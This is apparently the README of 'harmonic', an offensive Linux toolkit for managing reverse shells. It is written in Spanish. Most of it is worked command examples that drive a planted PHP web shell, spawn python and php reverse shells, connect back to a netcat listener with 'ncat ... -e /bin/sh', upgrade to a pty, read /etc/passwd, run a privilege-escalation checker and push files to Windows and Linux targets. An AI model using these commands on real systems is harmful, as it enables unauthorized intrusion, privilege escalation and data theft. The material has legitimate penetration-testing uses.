Suite para el manejo de reverse shells orientada a trabajar dentro del shell nativo
Comienzo de un conjunto de herramientas linux para gestionar e interactuar con reverse shells (el código todavía está en un estado rápido y sucio, con poco manejo de excepciones). Con una fuerte inspiración en la filosofía UNIX, la idea básica es tener un daemon para manejar endpoints arbitrarios (connd, aunque todavía no es un daemon propiamente dicho, pero puede ejecutarse en una terminal separada) y ejecutar herramientas contra esos endpoints.
Los endpoints están 'impulsados' por un script o un proceso y se exponen como archivos en el sistema de archivos, y luego se puede usar un cliente de software ligero para interactuar con ellos, pero también se pueden escribir y leer fácilmente usando comandos de shell. De hecho, poder ejecutar los scripts de forma independiente desde el shell es un factor de diseño clave, donde idealmente, como máximo, un script dependerá de que exista un endpoint, pero también se pueden usar en combinación (en cascada unos con otros).
Las opciones actuales de endpoints son:
El cliente de software ligero (hthinc.py) proporciona una interfaz básica con el endpoint del sistema, así como la ejecución rápida de scripts contra el sistema. Se han escrito varios scripts básicos pero útiles:
Los tipos de drivers de reverse shell (es decir, lo que impulsa el shell en el sistema remoto) son los siguientes (actualmente con soporte para linux):
Otros scripts:
Indícale a connd que inicie un endpoint, usando un driver de wedge shell contra el script php proporcionado, que realiza llamadas al sistema con respuesta formateada. Sin embargo, este script de una sola línea podría haber sido inyectado como código en un registro del servidor con la misma facilidad.
$ hconnd.py start wsh http://example.com/hwsh.php
1
Esto ha creado el endpoint 1 (dos tuberías de E/S -- puedes verlas como t1i y t1o en el subdirectorio run). Así que ahora usamos hthinc.py para interactuar con el shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Sabemos que es una máquina Linux. Queremos alejarnos de una web shell atascada y obtener un shell adecuado. Ejecutar el comando incorporado !help proporciona el mensaje de ayuda de thinc. Podemos ejecutar un script sp que automáticamente ejecutará comandos contra el sistema remoto, enumerando el entorno, iniciará un endpoint nc, generará una reverse shell y entrará automáticamente a través de una nueva instancia de hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
O si sabemos que estamos usando (por ejemplo) PHP como driver, podemos especificarlo:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Y digamos que tenemos un shell sin TTY o queremos escapar, podemos ejecutar una de las macros predeterminadas:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Además, si queremos registrar la salida de un comando, podemos usar el script log, que la guardará en el directorio de trabajo actual:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Mientras los endpoints están en ejecución, puedes conectar/desconectar clientes, ya que los procesos de conexión son gestionados por el daemon
Debido a que todo puede ejecutarse de una manera más unixy, podemos repetir procesos rápidamente desde el shell. Iniciamos un endpoint de webshell, obtenemos el ID del endpoint y luego, desde el shell, ejecutamos el script generador sp.py contra el endpoint (es el mismo script que se usa en hthinc.py pero con un punto de entrada diferente).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
o como una línea:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
y automatizar fácilmente:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
La herramienta hcmd.py te permite ejecutar rápidamente un comando a través de un endpoint desde tu shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
y canalizar o redirigir los resultados como de costumbre
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Puedes usar el verbo list para hconn.py para ver la lista actual de endpoints, con el estado de la conexión si es relevante
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
Configura un endpoint de wedge shell:
$ hconn.py start wsh http://example.com/hwsh.php
1
Ahora podemos configurar un listener de netcat en el puerto 4444:
$ hconn.py start nc 4444
2
Y luego escribir al endpoint de wedge shell (eid 1) a través del archivo de entrada:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
Esto debería haber lanzado un shell de vuelta al listener de netcat. Adjunta el cliente ligero al endpoint de netcat (eid 2) y deberíamos tener otro shell esperando:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Generalizar la interfaz del shell en archivos significa que los scripts utilizados contra un endpoint de webshell también funcionarán contra un endpoint de netcat reverse shell. Puedes invocar los scripts usando su ruta absoluta ($HCROOT/share/script/*.py) o puedes usar el script auxiliar hscr.py
Podemos ejecutar sp.py contra el endpoint de netcat y generar otra reverse shell:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
y el equivalente usando la ruta absoluta sería $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
o podemos ejecutar Linux Priv Escalation Checker contra una webshell:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
y podemos invocarlos dentro de una instancia de hthinc.py
!run lpc
Las variables de entorno se pueden usar para definir valores globales. Hay tres niveles de variables, cada uno con menor prioridad que el siguiente:
Las variables del archivo resource se definen en $HCROOT/.hcrc. Estas tienen la prioridad más baja, pero pueden usarse para evitar contaminar las variables de entorno de todo el sistema
Las variables de entorno/shell son introducidas en el proceso por el shell y tienen el prefijo HCV_. Estas se fusionarán con las variables de resource y sobrescribirán los valores que ya existan.
Las variables en línea sobrescribirán cualquier cosa definida anteriormente
Para estos ejemplos, LHOST=127.0.0.1 está definida como variable de resource en .hcrc y el uso del script es ./script LPORT [LHOST]
El siguiente script tendrá LHOST=127.0.0.1 y LPORT=4455 (variable de resource)
$ ./script 4455
El siguiente script tendrá LHOST=192.168.1.101 y LPORT=4455 (variable de shell)
$ HCV_LHOST=192.168.1.101 ./script 4455
El siguiente script tendrá LHOST=10.10.10.125 (variable en línea)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
Los mismos principios se pueden aplicar a hthinc.py !run SCR, (ten en cuenta: las variables de entorno/shell son aquellas pasadas a ./hthinc.py)
El servidor portal es un servidor HTTP básico que se puede usar para extraer archivos hacia el sistema remoto mediante scripts. Estos scripts tienden a actuar como macros alrededor del comando, creando una interacción más uniforme entre plataformas. El servidor gestiona archivos de forma relativa desde $HCROOT/share/disp/
hpd.py se está ejecutando en el puerto 80. DHOST y DPORT han sido definidas en .hcrc como 127.0.0.1 y 80 respectivamente (Apuntan al servidor de dispatch). Esto significa que no tengo que ingresar estas variables al invocar el script, pero si necesitan ser diferentes, simplemente las incluimos como variables en línea, como la variable FILE=.
Estamos invocando los scripts desde hthinc.py pero, nuevamente, podemos ejecutar estos scripts desde nuestro shell habitual pasándoles un ID de endpoint en la línea de comandos. Si DHOST y DPORT ya están definidas, no necesitamos incluirlas en la línea de comandos.
Para esto estamos usando powershell, a través de pspull, para extraer el archivo:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Aquí no tenemos PowerShell, así que necesitamos inicializar el script del portal y luego extraer el archivo:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
El script pull se usa para Linux:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Solo para aclarar las variables en línea:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
Las macros se definen en la sección macro de $HCROOT/.hcrc y se invocan mediante el script mac. En esta forma básica se asemejan a un alias en un shell y son efectivamente scripts simples de un solo sentido, enviando un comando a través del endpoint al shell remoto. Es más fácil vincular secuencias de comandos de uso frecuente pero laboriosas a las macros.
Invocar el script mac desde una instancia de hthinc.py incluye el uso de una variable sin nombre, que es una variable sin etiqueta. Esto permite que las macros se invoquen como un parámetro de línea de comandos para el script.
Nuevamente, las macros se pueden invocar desde tu shell habitual usando el mismo script mac.py.
Este ejemplo invoca la macro pty en un shell inestable. La macro es un alias para python -c 'import pty; pty.spawn("/bin/bash")':
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
El equivalente a ejecutarlo desde la línea de comandos en (por ejemplo) el endpoint 5 sería hscr.py 5 mac pty. La próxima vez que adjuntes un cliente al endpoint, debería estar ejecutándose con un tty.
ingresar !run mac --list mostrará la lista de macros.
Para compilar connd:
go build connd